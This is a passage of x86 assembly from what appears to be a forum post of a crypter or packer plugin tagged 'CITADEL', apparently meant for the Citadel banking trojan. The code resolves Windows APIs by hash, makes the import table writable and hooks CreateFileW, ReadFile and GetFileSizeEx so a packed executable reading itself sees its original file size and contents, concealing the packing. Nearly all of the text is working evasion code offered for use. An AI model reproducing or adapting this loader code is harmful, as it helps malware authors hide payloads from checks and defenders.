         popa
         ret
    endp
     
    proc CreateFileW_Hook lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile
         pusha
         call    .delta
    .delta:
         pop     esi     
         sub     esi, .delta-_PLUGIN_BEGIN_
         stdcall DWord [esi+_CreateFileW], [lpFileName], [dwDesiredAccess], [dwShareMode], [lpSecurityAttributes], [dwCreationDisposition], [dwFlagsAndAttributes], [hTemplateFile]
         mov     DWord [esp+0x1C], eax
         stdcall DWord [esi+_lstrcmpiW], [lpFileName], [esi+pExecutableFileName]
         test    eax, eax
         jnz     .end
         push    DWord [esp+0x1C]
         pop     DWord [esi+hFileExec]
         mov     eax, [esi+_CreateFileW]
         mov     edx, [esi+pIAT_CreateFileW]
         mov     DWord [edx], eax
    .end:
         popa
         ret
    endp
     
    proc GetFileSizeEx_Hook hFile, lpFileSize
         pusha
         call    .delta
    .delta:
         pop     ebx
         sub     ebx, .delta-_PLUGIN_BEGIN_
         mov     eax, DWord [ebx+hFileExec]
         test    eax, eax
         jz      .readOriginal
         cmp     eax, [hFile]
         jnz     .readOriginal
         xor     edi, edi
         mov     eax, [ebx+_GetFileSizeEx]
         mov     edx, [ebx+pIAT_GetFileSizeEx]
         mov     DWord [edx], eax
         mov     edx, [lpFileSize]
         mov     eax, DWord [ebx+_3B1P_PLUGIN_HEADER.pLoadPEData]
         mov     eax, [eax+_LOADPE_DATA.dwOriginalFileSize]
         mov     DWord [edx], eax
         mov     DWord [edx+0x4], edi
         stdcall DWord [ebx+_SetLastError], 0
         inc     edi
         xchg    edi, eax
         jmp     short .end
    .readOriginal:
         stdcall DWord [ebx+_GetFileSizeEx], [hFile], [lpFileSize]
    .end:
         mov     DWord [esp+0x1C], eax
         popa
         ret
    endp
     
    proc searchDWordValue pMem, dwSize, dwValue
         pusha
         mov     esi, [pMem]
         mov     eax, [dwValue]
         mov     ecx, [dwSize]
    .up:
         test    ecx, ecx
         jz      .error
         cmp     DWord [esi], eax
         jz      .found
         sub     ecx, 0x4
         add     esi, 0x4
         jmp     short .up
    .found:
         clc
         jmp     short .end
    .error:
         xor     esi, esi
         stc
    .end:
         mov     DWord [esp+0x1C], esi
         popa
         ret
    endp
     
    pExecutableFileName dd 0x0
    hFileExec dd 0x0
    dwOldProtect dd 0x0
    _ReadFile dd 0x0
    _CreateFileW dd 0x0
    _lstrcmpiW dd 0x0
    _SetLastError dd 0x0
    _GetFileSizeEx dd 0x0
     
    ;IAT addresses
    pIAT dd 0x0
    dwIATsize dd 0x0
    pIAT_CreateFileW dd 0x0
    pIAT_ReadFile dd 0x0
    pIAT_GetFileSizeEx dd 0x0
     
    start:
         xor     ebx, ebx
         mov     eax, DWord [fs:ebx+0x30]
         mov     eax, DWord [eax+0xC]
         mov     eax, DWord [eax+0xC]
         mov     eax, [eax+0x28]
         mov     DWord [esi+pExecutableFileName], eax
    ;     mov     eax, DWord [edi+_LOADPE_DATA.pPEFileHeader]
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashReadFile
         mov     DWord [esi+_ReadFile], eax
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashCreateFileW
         mov     DWord [esi+_CreateFileW], eax
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashlstrcmpiW
         mov     DWord [esi+_lstrcmpiW], eax
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashSetLastError
         mov     DWord [esi+_SetLastError], eax
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashGetFileSizeEx
         mov     DWord [esi+_GetFileSizeEx], eax
         stdcall DWord [edi+_LOADPE_DATA.pGetFileHeader], DWord [edi+_LOADPE_DATA.dwImageBase]
         add     eax, sizeof.IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER32.DataDirectory + IMAGE_DIRECTORY_ENTRY_IAT*0x8
         cmp     DWord [eax], 0x0
         jz      .end
         mov     edx, DWord [eax]
         add     edx, [edi+_LOADPE_DATA.dwImageBase]
         mov     DWord [esi+pIAT], edx
         push    DWord [eax+0x4]
         pop     DWord [esi+dwIATsize]
         lea     eax, [esi+dwOldProtect]
         stdcall DWord [edi+_LOADPE_DATA.pVirtualProtect], DWord [esi+pIAT], DWord [esi+dwIATsize], PAGE_EXECUTE_READWRITE, eax
         stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_CreateFileW]
         jc      .end
         mov     DWord [esi+pIAT_CreateFileW], eax
         lea     edx, [esi+CreateFileW_Hook]
         mov     DWord [eax], edx
         stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_ReadFile]
         jc      .end
         mov     DWord [esi+pIAT_ReadFile], eax
         lea     edx, [esi+ReadFile_Hook]
         mov     DWord [eax], edx
         stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_GetFileSizeEx]
         jc      .end
         mov     DWord [esi+pIAT_GetFileSizeEx], eax
         lea     edx, [esi+GetFileSizeEx_Hook]
         mov     DWord [eax], edx
     
     
    .end:
         jmp     DWord [esi+_3B1P_PLUGIN_HEADER.pReturn]
     
    __3BIP_PLUGIN_TAIL__ 'CITADEL'
Originally posted in Ukrainian forum
« Last Edit: December 31, 2014, 07:09:51 pm by 0xDADA11c7 »